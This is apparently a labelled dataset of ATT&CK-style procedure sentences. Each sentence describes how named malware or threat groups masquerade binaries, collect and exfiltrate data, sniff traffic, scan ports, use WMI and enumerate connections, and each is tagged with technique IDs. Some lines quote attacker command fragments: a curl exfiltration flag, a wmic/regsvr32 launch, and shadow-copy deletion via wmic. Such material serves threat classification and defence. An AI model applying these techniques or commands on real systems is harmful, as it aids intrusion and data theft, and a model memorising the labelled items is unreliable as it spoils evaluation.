+Naikon has disguised malicious programs as Google Chrome, Adobe, and VMware executables.	['T1036.005']
+"Nebulae uses functions named ""StartUserModeBrowserInjection"" and ""StopUserModeBrowserInjection"" indicating that it's trying to imitate chrome_frame_helper.dll."	['T1036.005']
+"OLDBAIT installs itself in ""%ALLUSERPROFILE%\\Application Data\Microsoft\MediaPlayer\updatewindws.exe""; the directory name is missing a space and the file name is missing the letter ""o."""	['T1036.005']
+OSX/Shlayer can masquerade as a Flash Player update.	['T1036.005']
+Octopus has been disguised as legitimate programs, such as Java and Telegram Messenger.	['T1036.005']
+One of Dtrack can hide in replicas of legitimate programs like OllyDbg, 7-Zip, and FileZilla.	['T1036.005']
+"OwaAuth uses the filename owaauth.dll, which is a legitimate file that normally resides in ""%ProgramFiles%\Microsoft\Exchange Server\ClientAccess\Owa\Auth\""; the malicious file by the same name is saved in ""%ProgramFiles%\Microsoft\Exchange Server\ClientAccess\Owa\bin\""."	['T1036.005']
+PUNCHBUGGY mimics filenames from %SYSTEM%\System32 to hide DLLs in %WINDIR% and/or %TEMP%.	['T1036.005']
+"Patchwork installed its payload in the startup programs folder as ""Baidu Software Update."" The group also adds its second stage payload to the startup programs as “Net Monitor."" They have also dropped QuasarRAT binaries as files named microsoft_network.exe and crome.exe."	['T1036.005']
+PcShare has been named `wuauclt.exe` to appear as the legitimate Windows Update AutoUpdate Client.	['T1036.005']
+Penquin has mimicked the Cron binary to hide itself on compromised systems.	['T1036.005']
+PlugX has been disguised as legitimate Adobe and PotPlayer files.	['T1036.005']
+Poseidon Group tools attempt to spoof anti-virus processes as a means of self-defense.	['T1036.005']
+Pysa has executed a malicious executable by naming it svchost.exe.	['T1036.005']
+"QUADAGENT used the PowerShell filenames ""Office365DCOMCheck.ps1"" and ""SystemDiskClean.ps1""."	['T1036.005']
+RDAT has masqueraded as VMware.exe.	['T1036.005']
+REvil can mimic the names of known executables.	['T1036.005']
+Raindrop was installed under names that resembled legitimate Windows file and directory names.	['T1036.005']
+"RainyDay has used names to mimic legitimate software including ""vmtoolsd.exe"" to spoof Vmtools."	['T1036.005']
+"Rocke has used shell scripts which download mining executables and saves them with the filename ""java""."	['T1036.005']
+"Ryuk has constructed legitimate appearing installation folder paths by calling ""GetWindowsDirectoryW"" and then inserting a null byte at the fourth character of the path. For Windows Vista or higher, the path would appear as ""C:\Users\Public""."	['T1036.005']
+S-Type may save itself as a file named `msdtc.exe`, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary.	['T1036.005']
+SLOTHFULMEDIA has mimicked the names of known executables, such as mediaplayer.exe.	['T1036.005']
+SUGARDUMP has been named `CrashReporter.exe` to appear as a legitimate Mozilla executable.	['T1036.005']
+SUNBURST created VBScripts that were named after existing services or folders to blend into legitimate activities.	['T1036.005']
+"SUNSPOT was identified on disk with a filename of ""taskhostsvc.exe"" and it created an encrypted log file at ""C:\Windows\Temp\vmware-vmdmp.log""."	['T1036.005']
+Saint Bot has been disguised as a legitimate executable, including as Windows SDK.	['T1036.005']
+Sandworm Team has avoided detection by naming a malicious binary explorer.exe.	['T1036.005']
+Shark binaries have been named `audioddg.pdb` and `Winlangdb.pdb` in order to appear legitimate.	['T1036.005']
+"ShimRatReporter spoofed itself as ""AlphaZawgyl_font.exe"", a specialized Unicode font."	['T1036.005']
+"Sidewinder has named malicious files ""rekeywiz.exe"" to match the name of a legitimate Windows executable."	['T1036.005']
+"Skidmap has created a fake ""rm"" binary to replace the legitimate Linux binary."	['T1036.005']
+"Sowbug named its tools to masquerade as Windows or Adobe Reader software, such as by using the file name adobecms.exe and the directory ""CSIDL_APPDATA\microsoft\security""."	['T1036.005']
+StrongPity has been bundled with legitimate software installation files for disguise.	['T1036.005']
+TEMP.Veles has renamed files to look like legitimate files, such as Windows update files or Schneider Electric application files.	['T1036.005']
+TRITON disguised itself as the legitimate Triconex Trilog application.	['T1036.005']
+Tarrask has masqueraded as executable files such as `winupdate.exe`, `date.exe`, or `win.exe`.	['T1036.005']
+TeamTNT has replaced .dockerd and .dockerenv with their own scripts and cryptocurrency mining software.	['T1036.005']
+"The Bazar loader has named malicious shortcuts ""adobe"" and mimicked communications software."	['T1036.005']
+The TAINTEDSCRIBE main executable has disguised itself as Microsoft’s Narrator.	['T1036.005']
+The file name AcroRD32.exe, a legitimate process name for Adobe's Acrobat Reader, was used by APT1 as a name for malware.	['T1036.005']
+ThiefQuest prepends a copy of itself to the beginning of an executable file while maintaining the name of the executable.	['T1036.005']
+ThreatNeedle chooses its payload creation path from a randomly selected service name from netsvc.	['T1036.005']
+TinyTurla has been deployed as `w64time.dll` to appear legitimate.	['T1036.005']
+To establish persistence, SslMM identifies the Start Menu Startup directory and drops a link to its own executable disguised as an “Office Start,” “Yahoo Talk,” “MSN Gaming Z0ne,” or “MSN Talk” shortcut.	['T1036.005', 'T1547.001', 'T1547.009']
+Tropic Trooper has hidden payloads in Flash directories and fake installer files.	['T1036.005']
+USBStealer mimics a legitimate Russian program called USB Disk Security.	['T1036.005']
+Ursnif has used strings from legitimate system files and existing folders for its file, folder, and Registry entry names.	['T1036.005']
+WIRTE has named a first stage dropper `Kaspersky Update Agent` in order to appear legitimate.	['T1036.005']
+ZLib mimics the resource version information of legitimate Realtek Semiconductor, Nvidia, or Synaptics modules.	['T1036.005']
+"admin@338 actors used the following command to rename one of their tools to a benign file name: ""ren ""%temp%\upload"" audiodg.exe"""	['T1036.005']
+menuPass has been seen changing malicious files to appear legitimate.	['T1036.005']
+Keydnap puts a space after a false .jpg extension so that execution actually goes through the Terminal.app program.	['T1036.006']
+The Bazar loader has used dual-extension executable files such as PreviewReport.DOC.exe.	['T1036.007']
+"An APT28 loader Trojan adds the Registry key ""HKCU\Environment\UserInitMprLogonScript"" to establish persistence."	['T1037.001']
+"Attor's dispatcher can establish persistence via adding a Registry key with a logon script ""HKEY_CURRENT_USER\Environment ""UserInitMprLogonScript"" ""."	['T1037.001']
+"Cobalt Group has added persistence by registering the file name for the next stage malware under ""HKCU\Environment\UserInitMprLogonScript""."	['T1037.001']
+"KGH_SPY has the ability to set the ""HKCU\Environment\UserInitMprLogonScript"" Registry key to execute logon scripts."	['T1037.001']
+"Zebrocy performs persistence with a logon script via adding to the Registry key ""HKCU\Environment\UserInitMprLogonScript""."	['T1037.001']
+Cyclops Blink has the ability to execute on device startup, using a modified RC script named S51armled.	['T1037.004']
+"Green Lambert can add ""init.d"" and ""rc.d"" files in the ""/etc"" folder to establish persistence."	['T1037.004']
+jRAT can list and manage startup entries.	['T1037.005']
+APT28 has collected files from network shared drives.	['T1039']
+Chimera has collected data of interest from network shares.	['T1039']
+CosmicDuke steals user files from network shared drives with file extensions and keywords that match a predefined list.	['T1039']
+Egregor can collect any files found in the enumerated drivers before sending it to its C2 channel.	['T1039']
+Fox Kitten has searched network shares to access sensitive documents.	['T1039']
+Gamaredon Group malware has collected Microsoft Office documents from mapped network drives.	['T1039']
+Ramsay can collect data from network drives and stage it for exfiltration.	['T1039']
+Sowbug extracted Word documents from a file server on a victim network.	['T1039']
+When it first starts, BADNEWS crawls the victim's mapped drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.	['T1039']
+"menuPass has collected data from remote systems by mounting network shares with ""net use"" and using Robocopy to transfer data."	['T1039']
+APT28 deployed the open source tool Responder to conduct NetBIOS Name Service poisoning, which captured usernames and hashed passwords that allowed access to legitimate credentials. APT28 close-access teams have used Wi-Fi pineapples to intercept Wi-Fi signals and user credentials.	['T1040']
+DarkVishnya used network sniffing to obtain login data.	['T1040']
+Emotet has been observed to hook network APIs to monitor network traffic.	['T1040']
+Empire can be used to conduct packet captures on target hosts.	['T1040']
+FoggyWeb can configure custom listeners to passively monitor all incoming HTTP GET and POST requests sent to the AD FS server from the intranet/internet and intercept HTTP requests that match the custom URI patterns defined by the actor.	['T1040']
+Impacket can be used to sniff network traffic via an interface or raw socket.	['T1040']
+MESSAGETAP uses the libpcap library to listen to all traffic and parses network protocols starting with Ethernet and IP layers. It continues parsing protocol layers including SCTP, SCCP, and TCAP and finally extracts SMS message data and routing metadata.	['T1040']
+NBTscan can dump and print whole packet content.	['T1040']
+Penquin can sniff network traffic to look for packets matching specific conditions.	['T1040']
+PoshC2 contains a module for taking packet captures on compromised hosts.	['T1040']
+Responder captures hashes and credentials that are sent to the system after the name services have been poisoned.	['T1040']
+Sandworm Team has used intercepter-NG to sniff passwords in network traffic.	['T1040']
+A Gamaredon Group file stealer can transfer collected files to a hardcoded C2 server.	['T1041']
+APT3 has a tool that exfiltrates data over the C2 channel.	['T1041']
+APT32's backdoor has exfiltrated data using the already opened channel with its C&C server.	['T1041']
+APT39 has exfiltrated stolen victim data through C2 communications.	['T1041']
+Adversaries can direct BACKSPACE to upload files to the C2 Server.	['T1041']
+AppleJeus has exfiltrated collected host information to a C2 server.	['T1041']
+Astaroth exfiltrates collected information from its r1.log file to the external C2 server.	['T1041']
+Attor has exfiltrated data over the C2 channel.	['T1041']
+AuTo Stealer can exfiltrate data over actor-controlled C2 servers via HTTP or TCP.	['T1041']
+BLUELIGHT has exfiltrated data over its C2 channel.	['T1041']
+Bandook can upload files from a victim's machine over the C2 channel.	['T1041']
+Bankshot exfiltrates data over its C2 channel.	['T1041']
+Bisonal has added the exfiltrated data to the URL over the C2 channel.	['T1041']
+Bumblebee can send collected data in JSON format to C2.	['T1041']
+CallMe exfiltrates data to its C2 server over the same protocol as C2 communications.	['T1041']
+Cannon exfiltrates collected data over email via SMTP/S and POP3/S C2 channels.	['T1041']
+Caterpillar WebShell can upload files over the C2 channel.	['T1041']
+CharmPower can exfiltrate gathered data to a hardcoded C2 URL via HTTP POST.	['T1041']
+Chimera has used Cobalt Strike C2 beacons for data exfiltration.	['T1041']
+CreepySnail can connect to C2 for data exfiltration.	['T1041']
+Crimson can exfiltrate stolen information over its C2.	['T1041']
+Crutch can exfiltrate data over the primary C2 channel (Dropbox HTTP API).	['T1041']
+Cyclops Blink has the ability to upload exfiltrated files to a C2 server.	['T1041']
+Data exfiltration is done by Okrum using the already opened channel with the C2 server.	['T1041']
+DnsSystem can exfiltrate collected data to its C2 server.	['T1041']
+Doki has used Ngrok to establish C2 and exfiltrate data.	['T1041']
+Drovorub can exfiltrate files over C2 infrastructure.	['T1041']
+During Frankenstein, the threat actors collected information via Empire, which sent the data back to the adversary's C2.	['T1041']
+During Operation Honeybee, the threat actors uploaded stolen files to their C2 servers.	['T1041']
+DustySky has exfiltrated data to the C2 server.	['T1041']
+Dyre has the ability to send information staged on a compromised host externally to C2.	['T1041']
+Ebury can exfiltrate SSH credentials through custom DNS queries.	['T1041']
+Emotet has been seen exfiltrating system information stored within cookies sent within an HTTP GET request back to its C2 servers.	['T1041']
+Flagpro has exfiltrated data to the C2 server.	['T1041']
+FlawedAmmyy has sent data collected from a compromised host to its C2 servers.	['T1041']
+FoggyWeb can remotely exfiltrate sensitive information from a compromised AD FS server.	['T1041']
+FunnyDream can execute commands, including gathering user information, and send the results to C2.	['T1041']
+GALLIUM used Web shells and HTRAN for C2 and to exfiltrate data.	['T1041']
+Grandoreiro can send data it retrieves to the C2 server.	['T1041']
+GrimAgent has sent data related to a compromise host over its C2 channel.	['T1041']
+HOPLIGHT has used its C2 channel to exfiltrate data.	['T1041']
+Higaisa exfiltrated data over its C2 channel.	['T1041']
+HotCroissant has the ability to download files from the infected host to the command and control (C2) server.	['T1041']
+Imminent Monitor has uploaded a file containing debugger logs, network information and system information to the C2.	['T1041']
+Industroyer sends information about hardware profiles and previously-received commands back to the C2 server in a POST-request.	['T1041']
+KGH_SPY can exfiltrate collected information from the host to the C2 server.	['T1041']
+KONNI has sent data and files to its C2 server.	['T1041']
+Kessel has exfiltrated information gathered from the infected system to the C2 server.	['T1041']
+Kimsuky has exfiltrated data over its C2 channel.	['T1041']
+Leviathan has exfiltrated data over its C2 channel.	['T1041']
+LightNeuron exfiltrates data over its email C2 channel.	['T1041']
+LitePower can send collected data, including screenshots, over its C2 channel.	['T1041']
+MacMa exfiltrates data from a supplied path over its C2 channel.	['T1041']
+Machete's collected data is exfiltrated over the same channel used for C2.	['T1041']
+MarkiRAT can exfiltrate locally stored data via its C2.	['T1041']
+MechaFlounder has the ability to send the compromised user's account name and hostname within a URL to C2.	['T1041']
+Metamorfo can send the data it collects to the C2 server.	['T1041']
+Misdat has uploaded files and data to its C2 servers.	['T1041']
+Mongall can upload files and information from a compromised host to its C2 server.	['T1041']
+MuddyWater has used C2 infrastructure to receive exfiltrated data.	['T1041']
+Octopus has uploaded stolen files and data from a victim's machine over its C2 channel.	['T1041']
+OopsIE can upload files from the victim's machine to its C2 server.	['T1041']
+Operation Wocao has used the Xserver backdoor to exfiltrate data.	['T1041']
+OutSteel can upload files from a compromised host over its C2 channel.	['T1041']
+PcShare can upload files and information from a compromised host to its C2 servers.	['T1041']
+PoetRAT has exfiltrated data over the C2 channel.	['T1041']
+Proxysvc performs data exfiltration over the control server channel using a custom protocol.	['T1041']
+Psylo exfiltrates data to its C2 server over the same protocol as C2 communications.	['T1041']
+Pteranodon exfiltrates screenshot files to its C2 server.	['T1041']
+Pupy can send screenshots files, keylogger data, files, and recorded audio back to the C2 server.	['T1041']
+QakBot can send stolen information to C2 nodes including passwords, accounts, and emails.	['T1041']
+Remexi performs exfiltration over BITSAdmin, which is also used for the C2 channel.	['T1041']
+S-Type has uploaded data and files from a compromised host to its C2 servers.	['T1041']
+SDBbot has sent collected data from a compromised host to its C2 servers.	['T1041']
+SILENTTRINITY can transfer files from an infected host to the C2 server.	['T1041']
+SMOKEDHAM has exfiltrated data to its C2 server.	['T1041']
+STARWHALE can exfiltrate collected data to its C2 servers.	['T1041']
+Sandworm Team has sent system information to its C2 server using HTTP.	['T1041']
+Shark has the ability to upload files from the compromised host over a DNS or HTTP C2 channel.	['T1041']
+ShimRatReporter sent generated reports to the C2 via HTTP POST requests.	['T1041']
+SideTwist has exfiltrated data over its C2 channel.	['T1041']
+"Sliver can exfiltrate files from the victim using the ""download"" command."	['T1041']
+SombRAT has uploaded collected data and files from a compromised host to its C2 server.	['T1041']
+StrifeWater can send data and files from a compromised host to its C2 server.	['T1041']
+StrongPity can exfiltrate collected documents through C2 channels.	['T1041']
+Stuxnet sends compromised victim information via HTTP.	['T1041']
+TajMahal has the ability to send collected files over its C2.	['T1041']
+Tomiris can upload files matching a hardcoded set of extensions, such as .doc, .docx, .pdf, and .rar, to its C2 server.	['T1041']
+Torisma can send victim data to an actor-controlled C2 server.	['T1041']
+TrickBot can send information about the compromised host and upload data to a hardcoded C2 server.	['T1041']
+Ursnif has used HTTP POSTs to exfil gathered information.	['T1041']
+Valak has the ability to exfiltrate data over the C2 channel.	['T1041']
+XCSSET exfiltrates data stolen from a system over its C2 channel.	['T1041']
+ZLib has sent data and files from a compromised host to its C2 servers.	['T1041']
+njRAT has used HTTP to receive stolen information from the infected machine.	['T1041']
+APT32 performed network scanning on the network to search for open ports, services, OS finger-printing, and other vulnerabilities.	['T1046']
+APT34 has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning.	['T1046']
+APT39 has used CrackMapExec and a custom port scanner known as BLUETORCH for network scanning.	['T1046']
+Backdoor.Oldrea can use a network scanning module to identify ICS-related ports.	['T1046']
+BlackEnergy has conducted port scans on a host.	['T1046']
+BlackTech has used the SNScan tool to find other potential targets on victim networks.	['T1046']
+China Chopper's server component can spider authentication portals.	['T1046']
+Cobalt Group leveraged an open-source tool called SoftPerfect Network Scanner to perform network scanning.	['T1046']
+Conficker scans for other machines to infect.	['T1046']
+CostaRicto employed nmap and pscan to scan target environments.	['T1046']
+During CostaRicto, the threat actors employed nmap and pscan to scan target environments.	['T1046']
+During Operation Wocao, threat actors scanned for open ports and used nbtscan to find NETBIOS nameservers.	['T1046']
+HDoor scans to identify open ports on the victim.	['T1046']
+HermeticWizard has the ability to scan ports on a compromised network.	['T1046']
+Industroyer uses a custom port scanner to map out a network.	['T1046']
+InvisiMole can scan the network for open ports and vulnerable instances of RDP and SMB protocols.	['T1046']
+Koadic can scan for open TCP ports on the target network.	['T1046']
+Lucifer can scan for open ports including TCP ports 135 and 1433.	['T1046']
+NBTscan can be used to scan IP networks.	['T1046']
+OilRig has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning.	['T1046']
+Operation Wocao has scanned for open ports and used nbtscan to find NETBIOS nameservers.	['T1046']
+Peirates can initiate a port scan against a given IP address.	['T1046']
+PoshC2 can perform port scans from an infected host.	['T1046']
+Pupy has a built-in module for port scanning.	['T1046']
+Pysa can perform network reconnaissance using the Advanced Port Scanner tool.	['T1046']
+Rocke conducted scanning for exposed TCP port 7001 as well as SSH and Redis servers.	['T1046']
+SILENTTRINITY can scan for open ports on a compromised machine.	['T1046']
+SpeakUp checks for availability of specific ports on servers.	['T1046']
+Suckfly the victim's internal network for hosts with ports 8080, 5900, and 40 open.	['T1046']
+TeamTNT has used masscan to search for open Docker API ports and Kubernetes clusters. TeamTNT has also used malware that utilizes zmap and zgrab to search for vulnerable services in cloud environments.	['T1046']
+ZxShell can launch port scans.	['T1046']
+menuPass has used tcping.exe, similar to Ping, to probe port status on systems of interest.	['T1046']
+A BlackEnergy 2 plug-in uses WMI to gather victim host details.	['T1047']
+A Threat Group-3390 tool can use WMI to execute a binary.	['T1047']
+APT29 used WMI to steal credentials and execute backdoors at a future time. They have also used WMI for the remote execution of files for lateral movement.	['T1047']
+APT32 used WMI to deploy their tools on remote machines and to gather information about the Outlook process.	['T1047']
+APT41 used WMI in several ways, including for execution of commands via WMIEXEC as well as for persistence via PowerSploit.	['T1047']
+Agent Tesla has used wmi queries to gather information from the system.	['T1047']
+Astaroth uses WMIC to execute payloads.	['T1047']
+Blue Mockingbird has used wmic.exe to set environment variables.	['T1047']
+Bumblebee can use WMI to gather system information and to spawn processes for code injection.	['T1047']
+CharmPower can use `wmic` to gather information from a system.	['T1047']
+Chimera has used WMIC to execute remote commands.	['T1047']
+CrackMapExec can execute remote commands using Windows Management Instrumentation.	['T1047']
+DarkWatchman can use WMI to execute commands.	['T1047']
+During C0015, the threat actors used `wmic` and `rundll32` to load Cobalt Strike onto a target host.	['T1047']
+During Frankenstein, the threat actors used WMI queries to check if various security applications were running as well as to determine the operating system version.	['T1047']
+EKANS can use Windows Mangement Instrumentation (WMI) calls to execute operations.	['T1047']
+EVILNUM has used the Windows Management Instrumentation (WMI) tool to enumerate infected machines.	['T1047']
+Earth Lusca used a VBA script to execute WMI.	['T1047']
+Emotet has used WMI to execute powershell.exe.	['T1047']
+Empire can use WMI to deliver a payload to a remote host.	['T1047']
+EvilBunny has used WMI to gather information about the system.	['T1047']
+FELIXROOT uses WMI to query the Windows Registry.	['T1047']
+FIN6 has used WMI to automate the remote execution of PowerShell scripts.	['T1047']
+FIN7 has used WMI to install malware on targeted systems.	['T1047']
+FIN8's malicious spearphishing payloads use WMI to launch malware and spawn cmd.exe execution. FIN8 has also used WMIC for lateral movement as well as during and post compromise cleanup activities.	['T1047']
+FlawedAmmyy leverages WMI to enumerate anti-virus on the victim.	['T1047']
+Frankenstein has used WMI queries to check if various security applications were running, as well as the operating system version.	['T1047']
+FunnyDream can use WMI to open a Windows command shell on a remote machine.	['T1047']
+GALLIUM used WMI for execution to assist in lateral movement as well as for installing tools across multiple assets.	['T1047']
+Gamaredon Group has used WMI to execute scripts used for discovery.	['T1047']
+GravityRAT collects various information via WMI requests, including CPU information in the Win32_Processor entry (Processor ID, Name, Manufacturer and the clock speed).	['T1047']
+HALFBAKED can use WMI queries to gather system information.	['T1047']
+HELLOKITTY can use WMI to delete volume shadow copies.	['T1047']
+HOPLIGHT has used WMI to recompile the Managed Object Format (MOF) files in the WMI repository.	['T1047']
+HermeticWizard can use WMI to create a new process on a remote machine via `C:\windows\system32\cmd.exe /c start C:\windows\system32\\regsvr32.exe /s /iC:\windows\<filename>.dll`.	['T1047']
+IcedID has used WMI to execute binaries.	['T1047']
+Impacket's wmiexec module can be used to execute commands through WMI.	['T1047']
+Koadic can use WMI to execute commands.	['T1047']
+Lazarus Group has used WMIC for discovery as well as to execute payloads for persistence and lateral movement.	['T1047']
+Lucifer can use WMI to log into remote machines for propagation.	['T1047']
+Magic Hound has used a tool to run `cmd /c wmic computersystem get domain` for discovery.	['T1047']
+Maze has used WMI to attempt to delete the shadow volumes on a machine, and to connect a virtual machine to the network domain of the victim organization's network.	['T1047']
+Meteor can use `wmic.exe` as part of its effort to delete shadow copies.	['T1047']
+Micropsia searches for anti-virus software and firewall products installed on the victim’s machine using WMI.	['T1047', 'T1518.001']
+Mosquito's installer uses WMI to search for antivirus display names.	['T1047']
+MuddyWater has used malware that leveraged WMI for execution and querying host information.	['T1047']
+Naikon has used WMIC.exe for lateral movement.	['T1047']
+Netwalker can use WMI to delete Shadow Volumes.	['T1047']
+"NotPetya can use ""wmic"" to help propagate itself across a network."	['T1047']
+Octopus has used wmic.exe for local discovery information.	['T1047']
+OilRig has used WMI for execution.	['T1047']
+OopsIE uses WMI to perform discovery techniques.	['T1047']
+POWERSTATS can use WMI queries to retrieve data from compromised hosts.	['T1047']
+POWRUNER may use WMI when collecting information about a victim.	['T1047']
+ProLock can use WMIC to execute scripts on targeted hosts.	['T1047']
+PyDCrypt has attempted to execute with WMIC.	['T1047']
+RATANKBA uses WMI to perform process monitoring.	['T1047']
+REvil can use WMI to monitor for and kill specific processes listed in its configuration file.	['T1047']
+Remexi executes received commands with wmic.exe (for WMI commands).	['T1047']
+RogueRobin uses various WMI queries to check if the sample is running in a sandbox.	['T1047']
+SILENTTRINITY can use WMI for lateral movement.	['T1047']
+"SUNBURST used the WMI query ""Select * From Win32_SystemDriver"" to retrieve a driver listing."	['T1047']
+Sandworm Team has used VBScript to run WMI queries.	['T1047']
+SharpStage can use WMI for execution.	['T1047']
+"Stuxnet used WMI with an ""explorer.exe"" token to execute on a remote share."	['T1047']
+SysUpdate can use WMI for execution on a compromised host.	['T1047']
+UNC2452 used WMI for the remote execution of files for lateral movement.	['T1047']
+Ursnif droppers have used WMI classes to execute PowerShell commands.	['T1047']
+"Valak can use ""wmic process call create"" in a scheduled task to launch plugins and for execution."	['T1047']
+"WannaCry utilizes ""wmic"" to delete shadow copies."	['T1047']
+Windshift has used WMI to collect information about target machines.	['T1047']
+Wizard Spider has used WMI and LDAP queries for network discovery and to move laterally.	['T1047']
+jRAT uses WMIC to identify anti-virus products installed on the victim’s machine and to obtain firewall details.	['T1047']
+"Bundlore uses the ""curl -s -L -o"" command to exfiltrate archived data to a URL."	['T1048']
+FrameworkPOS can use DNS tunneling for exfiltration of credit card data.	['T1048']
+Hydraq connects to a predefined domain on port 443 to exfil gathered information.	['T1048']
+Kobalos can exfiltrate credentials over the network via UDP.	['T1048']
+PoetRAT has used a .NET tool named dog.exe to exiltrate information over an e-mail account.	['T1048']
+APT28 has exfiltrated archives of collected data previously staged on a target's OWA server via HTTPS.	['T1048.002']
+APT29 has exfiltrated collected data over a simple HTTPS request to a password-protected archive staged on a victim's OWA servers.	['T1048.002']
+UNC2452 exfiltrated collected data over a simple HTTPS request to a password-protected archive staged on a victim's OWA servers.	['T1048.002']
+APT32's backdoor can exfiltrate data by encoding it in the subdomain field of DNS packets.	['T1048.003']
+Agent Tesla has routines for exfiltration over SMTP, FTP, and HTTP.	['T1048.003']
+BITSAdmin can be used to create BITS Jobs to upload files from a compromised host.	['T1048.003']
+CORALDECK has exfiltrated data in HTTP POST headers.	['T1048.003']
+Carbon uses HTTP to send data to the C2 server.	['T1048.003']
+CharmPower can send victim data via FTP with credentials hardcoded in the script.	['T1048.003']
+Cherry Picker exfiltrates files over FTP.	['T1048.003']
+"CookieMiner has used the ""curl --upload-file"" command to exfiltrate data over HTTP."	['T1048.003']
+CosmicDuke exfiltrates collected files over FTP or WebDAV. Exfiltration servers can be separately configured from C2 servers.	['T1048.003']
+"Dok exfiltrates logs of its execution stored in the ""/tmp"" folder over FTP using the ""curl"" command."	['T1048.003']
+FIN8 has used FTP to exfiltrate collected data.	['T1048.003']
+Kessel can exfiltrate credentials and other information via HTTP POST request, TCP, and DNS.	['T1048.003']
+Lazarus Group malware SierraBravo-Two generates an email message via SMTP containing information about newly infected victims.	['T1048.003']
+PoetRAT has used ftp for exfiltration.	['T1048.003']
+Remsec can exfiltrate data via a DNS tunnel or email, separately from its C2 channel.	['T1048.003']
+Some Brave Prince variants have used South  Korea's Daum email service to exfiltrate information, and later variants have posted the data to a web server via an HTTP post command.	['T1048.003']
+Thrip has used WinSCP to exfiltrate data from a targeted organization over FTP.	['T1048.003']
+WindTail has the ability to automatically exfiltrate files using the macOS built-in utility /usr/bin/curl.	['T1048.003']
+Wizard Spider has exfiltrated victim information using FTP.	['T1048.003']
+ccf32 can upload collected data and files to an FTP server.	['T1048.003']
+ftp may be used to exfiltrate data separate from the main command and control protocol.	['T1048.003']
+"APT32 used the ""netstat -anpo tcp"" command to display TCP connections on the victim's machine."	['T1049']
+APT38 installed a port monitoring tool, MAPMAKER, to print the active TCP connections on the local system.	['T1049']
+"Andariel has used the ""netstat -naop tcp"" command to display TCP connections on a victim's machine."	['T1049']
+Aria-body has the ability to gather TCP and UDP table status listings.	['T1049']
+Babuk can use “WNetOpenEnumW” and “WNetEnumResourceW” to enumerate files in network resources for encryption.	['T1049']
+BackdoorDiplomacy has used NetCat and PortQry  to enumerate network connections and display the status of related TCP and UDP ports.	['T1049']
+BlackEnergy has gathered information about local network connections using netstat.	['T1049']
+"Carbon uses the ""netstat -r"" and ""netstat -an"" commands."	['T1049']
+"Chimera has used ""netstat -ano | findstr EST"" to discover network connections."	['T1049']
+Cobalt Strike can produce a sessions report from compromised hosts.	['T1049']
+"Commands such as ""net use"" and ""net session"" can be used in Net to gather information about network connections from a particular host."	['T1049']
+"Comnie executes the ""netstat -ano"" command."	['T1049']
+Conti can enumerate routine network connections from a compromised host.	['T1049']
+"Cuba can use the function ""GetIpNetTable"" to recover the last connections to the victim's machine."	['T1049']
+Dtrack can collect network and active connection information.	['T1049']
+During FunnyDream, the threat actors used netstat to discover network connections on remote systems.	['T1049']
+During Operation Wocao, threat actors collected a list of open connections on the infected system using `netstat` and checks whether it has an internet connection.	['T1049']
+Egregor can enumerate all connected drives.	['T1049']
+Empire can enumerate the current network connections of a host.	['T1049']
+"Epic uses the ""net use"", ""net session"", and ""netstat"" commands to gather information on network connections."	['T1049']
+"GravityRAT uses the ""netstat"" command to find open ports on the victim’s machine."	['T1049']
+"KONNI has used ""net session"" on the victim's machine."	['T1049']
+"Ke3chang performs local network connection discovery using ""netstat""."	['T1049']
+"Kwampirs collects a list of active and listening connections by using the command ""netstat -nao"" as well as a list of available network mappings with ""net use""."	['T1049']
+"Lazarus Group has used ""net use"" to identify and establish a network connection with a remote host."	['T1049']
+Lucifer can identify the IP and port numbers for all remote connections from the compromised host.	['T1049']
+"Machete uses the ""netsh wlan show networks mode=bssid"" and ""netsh wlan show interfaces"" commands to list all nearby WiFi networks and connected interfaces."	['T1049']
+Magic Hound has used quser.exe to identify existing RDP connections.	['T1049']
+"Maze has used the ""WNetOpenEnumW"", ""WNetEnumResourceW”, “WNetCloseEnum” and “WNetAddConnection2W” functions to enumerate the network resources on the infected machine."	['T1049']
+NETWIRE can capture session logon details from a compromised host.	['T1049']
+"OilRig has used ""netstat -an"" on a victim to get a listing of network connections."	['T1049']
+Okrum was seen using NetSess to discover NetBIOS sessions.	['T1049']
+"PlugX has a module for enumerating TCP and UDP network connections and associated processes using the ""netstat"" command."	['T1049']
+Poseidon Group obtains and saves information about victim network interfaces and addresses.	['T1049']
+PoshC2 contains an implementation of netstat to enumerate TCP and UDP connections.	['T1049']
+"Pupy has a built-in utility command for ""netstat"", can do net session through PowerView, and has an interactive shell which can be used to discover additional information."	['T1049']
+PyDCrypt has used netsh to find RPC connections on remote machines.	['T1049']
+"QakBot can use ""netstat"" to enumerate current network connections."	['T1049']
+"RATANKBA uses ""netstat -ano"" to search for specific IP address ranges."	['T1049']
+"Ramsay can use ""netstat"" to enumerate network connections."	['T1049']
+RedLeaves can enumerate drives and Remote Desktop sessions.	['T1049']
+SHOTPUT uses netstat to list TCP connection status.	['T1049']
+SLOTHFULMEDIA can enumerate open ports on a victim machine.	['T1049']
+Sandworm Team had gathered user, IP address, and server data related to RDP sessions on a compromised host. It has also accessed network diagram files useful for understanding how a host's network was configured.	['T1049']
+"ShimRatReporter used the Windows function ""GetExtendedUdpTable"" to detect connected UDP endpoints."	['T1049']
+Sibot has retrieved a GUID associated with a present LAN connection on a compromised machine.	['T1049']
+Sliver can collect network connection information.	['T1049']
+"Sykipot may use ""netstat -ano"" to display active network connections."	['T1049']
+"TeamTNT has run ""netstat -anp"" to search for rival malware connections. TeamTNT has also used `libprocesshider` to modify ""/etc/ld.so.preload""."	['T1049']
+The discovery modules used with Duqu can collect information on network connections.	['T1049']
+Threat Group-3390 has used `net use` and `netstat` to conduct internal discovery of systems. The group has also used `quser.exe` to identify existing RDP sessions on a victim.	['T1049']
+Tropic Trooper has tested if the localhost network is available and other connection capability on an infected system using command scripts.	['T1049']
+"USBferry can use ""netstat"" and ""nbtstat"" to detect active network connections."	['T1049']
+Volgmer can gather information about TCP connection state.	['T1049']
+Waterbear can use API hooks on `GetExtendedTcpTable` to retrieve a table containing a list of TCP endpoints available to the application.	['T1049']
+"Zebrocy uses ""netstat -aon"" to gather network connection information."	['T1049']
+"admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to display network connections: ""netstat -ano >> %temp%\download"""	['T1049']
+"menuPass has used ""net use"" to conduct connectivity checks to machines."	['T1049']
+netstat can be used to enumerate local network connections, including active TCP connections and other network statistics.	['T1049']
